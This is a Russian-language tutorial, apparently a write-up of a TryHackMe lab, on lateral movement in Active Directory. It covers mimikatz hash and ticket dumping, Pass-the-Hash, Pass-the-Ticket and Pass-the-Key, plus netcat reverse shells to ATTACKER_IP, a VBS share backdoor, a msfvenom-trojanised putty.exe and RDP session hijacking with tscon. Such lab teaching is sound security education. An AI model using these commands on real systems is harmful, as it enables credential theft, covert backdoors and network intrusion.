Lateral Movement and Pivoting, part 2
@cherepawwkaВсем привет!
Это вторая часть статьи, посвященной горизонтальному перемещению Active Directory. Здесь мы подробно поговорим про атаки на протоколы аутентификации в доменах Active Directory.
Первая и третья части статьи доступны по ссылке ниже:
Продолжим!
Схема сети осталась без изменений и изображена на рисунке ниже:
Использование альтернативного материала для аутентификации
Под альтернативным материалом для проверки подлинности подразумевается любой фрагмент данных, который можно использовать для доступа к учетной записи Windows, фактически не зная самого пароля пользователя. Это возможно из-за особенностей работы некоторых протоколов аутентификации, используемые в сетях Windows. В этой задаче мы рассмотрим несколько альтернатив, доступных для входа в качестве пользователя, когда в сети доступен любой из следующих протоколов аутентификации:
- NTLM-аутентификация;
- Проверка подлинности Kerberos.
NTLM-аутентификация
Прежде чем погрузиться в фактические методы горизонтального перемещения, давайте посмотрим, как работает аутентификация NTLM:
- Клиент отправляет запрос аутентификации на сервер, к которому он хочет получить доступ;
- Сервер генерирует случайное число и отправляет его клиенту в качестве вызова (Challenge);
- Клиент объединяет свой NTLM-хэш пароля с челленджем (и другими известными данными), чтобы сгенерировать ответ на вызов и отправить его обратно на сервер для проверки;
- Сервер пересылает вызов и ответ контроллеру домена для проверки;
- Контроллер домена использует вызов для пересчета ответа и сравнивает его с первоначальным ответом, отправленным клиентом. Если они оба совпадают, клиент аутентифицируется; в противном случае доступ запрещен. Результат аутентификации отправляется обратно на сервер;
- Сервер пересылает результат аутентификации клиенту.
Примечание. Описанный процесс применяется при использовании доменной учетной записи. Если используется локальная учетная запись, сервер может сам проверить ответ на запрос, не требуя взаимодействия с контроллером домена, поскольку хэш пароля хранится локально в его базе данных SAM.
Pass-the-Hash
В результате извлечения учетных данных с хоста (с помощью mimikatz или подобных инструментов), на котором мы получили административные привилегии, мы можем получить открытые пароли или их хэши, которые можно взломать. Однако, если нам не повезет, мы получим трудно взламываемые NTLM-хэши паролей.
Может показаться, что мы не можем использовать эти хэши, но, как следуем из теории выше, на челлендж NTLM, отправленный во время аутентификации, можно ответить, зная только хэш пароля. Это означает, что мы можем аутентифицироваться, не зная открытый пароль. Вместо того, чтобы взламывать хэши NTLM, в случае если домен Windows настроен на использование аутентификации NTLM, мы можем использовать Pass-the-Hash (PtH) и успешно пройти аутентификацию.
Чтобы извлечь NTLM-хэши, мы можем либо использовать mimikatz для чтения локальной базы данных SAM, либо извлекать хэши непосредственно из памяти LSASS.
Извлечение хэшей NTLM из локального SAM:
Этот метод позволит вам получать хэши только от локальных пользователей на машине. Хэши пользователя домена будут недоступны.
Пример:
mimikatz # privilege::debug mimikatz # token::elevate mimikatz # lsadump::sam RID : 000001f4 (500) User : Administrator Hash NTLM: 145e02c50333951f71d13c245d352b50
Извлечение хэшей NTLM из памяти LSASS:
Этот метод позволит вам извлечь любые хэши NTLM для локальных пользователей и любого пользователя домена, недавно вошедшего в систему.
Пример:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
Затем мы можем использовать извлеченные хэши для выполнения атаки PtH, используя mimikatz для внедрения токена доступа для пользователя-жертвы в обратной оболочке (или любой другой команде), как показано ниже:
mimikatz # token::revert mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
Обратите внимание, что мы использовали token::revert для восстановления наших первоначальных привилегий токена, так как попытка передать хеш с повышенным токеном не сработает.
Это эквивалентно использованию runas /netonly, но с хэшем вместо пароля, и создаст новую обратную оболочку, из которой мы сможем запустить любую команду от имени пользователя-жертвы.
Чтобы получить обратную оболочку, мы должны запустить листенер на атакующей машине:
nc -lnvp 5555
Интересно, что если запустить команду whoami в этой оболочке, она по-прежнему покажет исходного пользователя, которого мы использовали до выполнения атаки PtH, но любая команда, запущенная отсюда, будет фактически использовать учетные данные, которые мы ввели с помощью PtH.
Passing the Hash с Linux:
Если у нас есть доступ к Linux-машине, то так мы можем получить доступ сразу к нескольким инструментам, которые имеют встроенную поддержку для выполнения атаки PtH с использованием разных протоколов. В зависимости от того, какие службы доступны, можно сделать следующее:
RDP через PtH:
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
psexec через PtH:
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
Примечание. Только версия psexec для Linux поддерживает PtH.
WinRM через PtH:
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos-аутентификация
Давайте кратко рассмотрим, как работает аутентификация Kerberos в сетях Windows:
1) Пользователь отправляет свое имя пользователя и метку времени, зашифрованные с помощью ключа, полученного из его пароля, в Центр распространения ключей (Key Distribution Center, KDC) — службу, обычно устанавливаемую на контроллере домена и отвечающую за создание билетов Kerberos в сети;
KDC создаст и отправит обратно Ticket Granting Ticket (TGT), позволяя пользователю запрашивать билеты для доступа к определенным службам, не передавая свои учетные данные самим службам. Вместе с TGT пользователю предоставляется сеансовый ключ, который ему потребуется для генерации последующих запросов;
TGT зашифрован с использованием хэша пароля учетной записи krbtgt, поэтому пользователь не может получить доступ к его содержимому. Важно знать, что зашифрованный TGT включает в себя копию сеансового ключа как часть своего содержимого, и KDC не нужно хранить сеансовый ключ, поскольку при необходимости он может восстановить копию, расшифровав TGT.
2) Когда пользователи хотят подключиться к сетевому сервису (общий ресурс, веб-сайт или база данных), они будут использовать свой TGT, чтобы запросить у KDC Ticket Granting Service (TGS). TGS — это билеты, которые разрешают подключение только к конкретному сервису, для которого они были созданы. Чтобы запросить TGS, пользователь отправляет свое имя пользователя и временную метку, зашифрованные с помощью сеансового ключа, вместе с TGT и Service Principal Name (SPN), которое указывает имя службы и сервера, к которым клиент намеревается получить доступ.
В результате KDC отправит нам TGS и Service Session Key, которые нам понадобятся для аутентификации в службе, к которой мы хотим получить доступ. TGS шифруется с использованием Service Owner Hash. Владелец службы — это учетная запись пользователя или компьютера, под которой работает служба. TGS содержит копию Service Session Key в своем зашифрованном содержимом, чтобы владелец службы мог получить к нему доступ, расшифровав TGS.
3) Затем TGS может быть отправлен желаемой службе для аутентификации и установления соединения. Служба будет использовать хэш пароля настроенной учетной записи для расшифровки TGS и проверки Service Session Key.
Pass-the-Ticket
Иногда можно извлечь билеты Kerberos и сеансовые ключи из памяти LSASS с помощью mimikatz. Этот процесс обычно требует, чтобы у нас были системные привилегии на атакуемой машине, и его можно выполнить следующим образом:
mimikatz # privilege::debug mimikatz # sekurlsa::tickets /export
Важно понимать, что, если бы у нас был доступ только к билету, но не к соответствующему сеансовому ключу, мы бы не смогли использовать этот билет; следовательно, необходимы оба компонента.
Хотя mimikatz может извлекать любой доступный TGT или TGS из памяти процесса LSASS, в большинстве случаев нас будут интересовать TGT, поскольку их можно использовать для запроса доступа к любым службам, к которым разрешен доступ пользователю. В то же время TGS подходят только для доступа к конкретной службе. Для извлечения TGT потребуются учетные данные администратора, а извлечение TGS можно выполнить с помощью учетной записи с низким уровнем привилегий.
Как только мы извлекли нужный билет, можем внедрить билеты в текущий сеанс с помощью следующей команды:
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
Внедрение билетов в нашу собственную сессию не требует прав администратора. После этого билеты будут доступны для любых инструментов, которые мы используем для горизонтального перемещения. Чтобы проверить, правильно ли были введены билеты, можно использовать команду klist:
za\bob.jenkins@THMJMP2 C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com
Overpass-the-hash / Pass-the-Key
Этот тип атаки похож на PtH, но применяется к сетям Kerberos. Когда пользователь запрашивает TGT, он отправляет метку времени, зашифрованную с помощью ключа шифрования, полученного из его пароля. Алгоритм, используемый для получения этого ключа, может быть DES (отключен по умолчанию в текущих версиях Windows), RC4, AES128 или AES256, в зависимости от установленной версии Windows и конфигурации Kerberos. Если у нас есть какой-либо из этих ключей, мы можем запросить у KDC TGT, не требуя фактического пароля, отсюда и название Pass-the-key (PtK).
Мы можем получить ключи шифрования Kerberos из памяти, используя mimikatz со следующими командами:
mimikatz # privilege::debug mimikatz # sekurlsa::ekeys
В зависимости от доступных ключей мы можем запустить следующие команды на mimikatz, чтобы получить обратную оболочку через Pass-the-Key:
Если у нас есть хэш RC4:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
Если у нас есть хэш AES128:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
Если у нас есть хэш AES256:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
При использовании RC4 ключ будет равен хэшу NTLM пользователя. Это означает, что если бы мы могли извлечь хэш NTLM, мы могли бы использовать его для запроса TGT, если RC4 является одним из включенных протоколов. Этот конкретный вариант известен как Overpass-the-Hash (OPtH).
Чтобы получить обратную оболочку, мы должны запустить листенер на атакующей машине:
user@AttackBox$ nc -lvp 5556
Как и в случае с PtH, любая команда, запускаемая из этой оболочки, будет использовать учетные данные, введенные через mimikatz.
Приступим к практике!
Для упражнения используем следующие учетные данные:
Username: ZA.TRYHACKME.COM\t2_felicia.dean
Password: iLov3THM!
ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com
Эти учетные данные предоставили нам административный доступ к THMJMP2, что позволит использовать mimikatz для создания дампа аутентификационного материала, необходимого для выполнения любого из методов, описанных в статье:
Подготовим платцдарм:
Извлечем хэш:
Получаем NTLM-хэш администратора: 0b2571be7e75e3dbd169ca5352a2dad7. К сожалению, получить доступ по RDP, psexec или WinRM на этот узел не вышло.
Теперь извлечём билеты из мамяти LSASS, где могут быть интересующий нас хэши:
Осуществляем атаку типа PtH:
Теперь поиграем с билетами. После извлечения билетов вот как стала выглядеть текущая директория:
Также мы нашли интересующий нас билет:
Теперь мы можем запрашивать доступ к службам от имени скомпрометированного пользователя!
Теперь поиграем с ключами:
Воспользуемся RC4, чтобы осуществить атаку OPtH:
К сожалению на этом этапе у меня не получилось поймать обратную оболочку (ни в случае с RC4, ни в случае с AES256), поэтому этот вектор остался раскрыт не до конца :(
В случае, когда у нас загружена командная строка с учетными данными, возможно просто использовать winrs для подключения к командной строке на THMIIS. Поскольку учетные данные t1_toby.beck уже внедрены в сеанс в результате любой из атак, можно использовать winrs без указания каких-либо учетных данных, и он будет использовать те, которые доступны для текущего сеанса:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
Злоупотребление поведением пользователя
При определенных обстоятельствах злоумышленник может воспользоваться действиями пользователей, чтобы получить дополнительный доступ к машинам в сети. Рассмотрим некоторые из наиболее распространенных способов.
Злоупотребление доступными для записи общими ресурсами
Довольно часто можно найти общие сетевые ресурсы, которые легитимные пользователи используют для выполнения повседневных задач. Если по какой-то причине эти общие ресурсы доступны для записи, злоумышленник может внедрить определенные файлы, чтобы заставить пользователя выполнить любую произвольную полезную нагрузку и получить доступ к его машине.
Один из распространенных сценариев: ярлык для скрипта или исполняемого файла, размещенного на сетевом ресурсе.
Идея этого метода заключается в том, что администратор может держать исполняемый файл на сетевом ресурсе, а пользователи могут выполнять его без копирования или установки приложения на компьютер каждого пользователя. Если у злоумышленника есть права на запись таких скриптов или исполняемых файлов, он может использовать то, чтобы заставить пользователей выполнять любую полезную нагрузку, которую хочет.
Хотя сценарий или исполняемый файл размещается на сервере, когда пользователь открывает ярлык на своей рабочей станции, исполняемый файл копируется с сервера в его папку %temp% и выполняется на рабочей станции. Поэтому любая полезная нагрузка будет выполняться в контексте рабочей станции конечного пользователя (и вошедшей в систему учетной записи пользователя).
Backdooring .vbs Scripts
Если разделяемый ресурс представляет собой скрипт VBS, злоумышленник может поместить копию nc64.exe в тот же общий ресурс и внедрить следующий код в скрипт:
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
Команда скопирует nc64.exe с общего ресурса в каталог %tmp% на рабочей станции пользователя и отправит обратно атакующему оболочку всякий раз, когда пользователь открывает сценарий VBS.
Backdooring .exe Files
Если общий файл является двоичным файлом Windows (например, putty.exe), злоумышленник может загрузить его с общего ресурса и использовать msfvenom для внедрения в него бэкдора. Двоичный файл по-прежнему будет работать как обычно, но автоматически выполнит дополнительную полезную нагрузку. Чтобы создать бэкдор в putty.exe, можео использовать следующую команду:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
Получившийся в результате puttyX.exe выполнит полезную нагрузку meterpreter reverse_tcp незаметно для пользователя. Как только файл будет сгенерирован, мы можем заменить исполняемый файл на общем ресурсе и дождаться любых подключений, используя модуль exploit/multi/handler из Metasploit.
RDP hijacking
Когда администратор использует RDP для подключения к машине и закрывает RDP-клиент вместо выхода из системы, его сеанс остается открытым на сервере неопределенное время. Если у атакующего есть системные привилегии в Windows Server 2016 и более ранних версиях, он может "взять на себя" любой существующий сеанс RDP, не требуя пароля.
Если у нас есть доступ на уровне администратора, мы можем получить SYSTEM любым удобным для нас способом. Для примера я буду использовать psexec. Во-первых, давайте запустим cmd.exe от имени администратора:
Оттуда нужно запустить PsExec64.exe:
PsExec64.exe -s cmd.exe
Чтобы вывести список существующих сеансов на сервере, нужно использовать следующую команду:
C:\> query user USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME >administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM luke 3 Disc . 4/6/2022 6:51 AM
Согласно приведенному выше выводу команды, если бы мы в настоящее время были подключены через RDP с использованием пользователя-администратора, наше SESSIONNAME было быrdp-tcp#6. Мы также можем видеть, что пользователь с именем luke оставил сеанс открытым с идентификатором id 3. Любой сеанс с состоянием Disc оставлен пользователем открытым и в данный момент не используется. Мы также можем забрать себе и активные сеансы, но легитимный пользователь будет выброшен из своего сеанса и может заподозрить неладное.
Чтобы подключиться к сеансу, мы будем использовать tscon.exe и укажем идентификатор сеанса, который мы забираем, а также наше текущее SESSIONNAME. Следуя предыдущему примеру, чтобы перехватить сеанс Люка, если бы мы были подключены как Administrator, мы использовали бы следующую команду:
tscon 3 /dest:rdp-tcp#6
Проще говоря, команда указывает, что графический сеанс, 3, принадлежащий luke, должен быть связан с сеансом RDP rdp-tcp#6 , принадлежащим пользователю Administrator.
В результате мы возобновим сеанс RDP Люка и немедленно подключимся к нему.
Примечание. В Windows Server 2019 нельзя вам подключиться к сеансу другого пользователя, не зная его пароля.
Приступим к практике!
Получаем новые креды, которые дадут нам УЗ администратора на сервере:
Username: t2_eric.harding
Password: Kegq4384
Получив свои учетные данные, подключимся к THMJMP2 через RDP, используя xfreerdp:
xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_eric.harding /p:Kegq4384
Теперь захватим сеанс RDP пользователя t1_toby.beck# на THMJMP2. Для начала получим систему на узле, запустив PsExec64.exe со следующими аргументами:
Получим список RDP-сеансов на машине, исполнив команду query user:
Мы видим множество однотипных сеансов, в рамках задания это нормально (так как в сети одновременно могут работать несколько человек). Нас интересуют сеансы со статусом Disc, что сигнализирует о из неактивности. В данном случае я выбрал в качестве цели сеанс с номером 7. Следовательно, для присоединения к сеансу нам достаточно выполнить следующую команду:
tscon 7 /dest:rdp-tcp#4
В данном случае при применении команды мы буквально "провалимся" в сеанс пользователя t1_toby.beck3, присоединив его к нашему текущему RDP-сеансу. Подробно про команду tscon можно почитать тут.
После введения команды мы оказываемся в сеансе пользователя t1_toby.beck3:
Важно: как говорилось выше, такой трюк не пройдёт в системах с Windows Server 2019 или 2022. Нам будет необходим пароль пользователя при присоединении к его сеансу.
На этом подошла к концу вторая часть статьи, посвященная горизонтальному перемещению в домене Active Directory. В следующей части мы поговорим о такой технике, как Pivoting, а также рассмотрим примеры её применения на практике.
Третья часть статьи доступна по ссылке ниже:
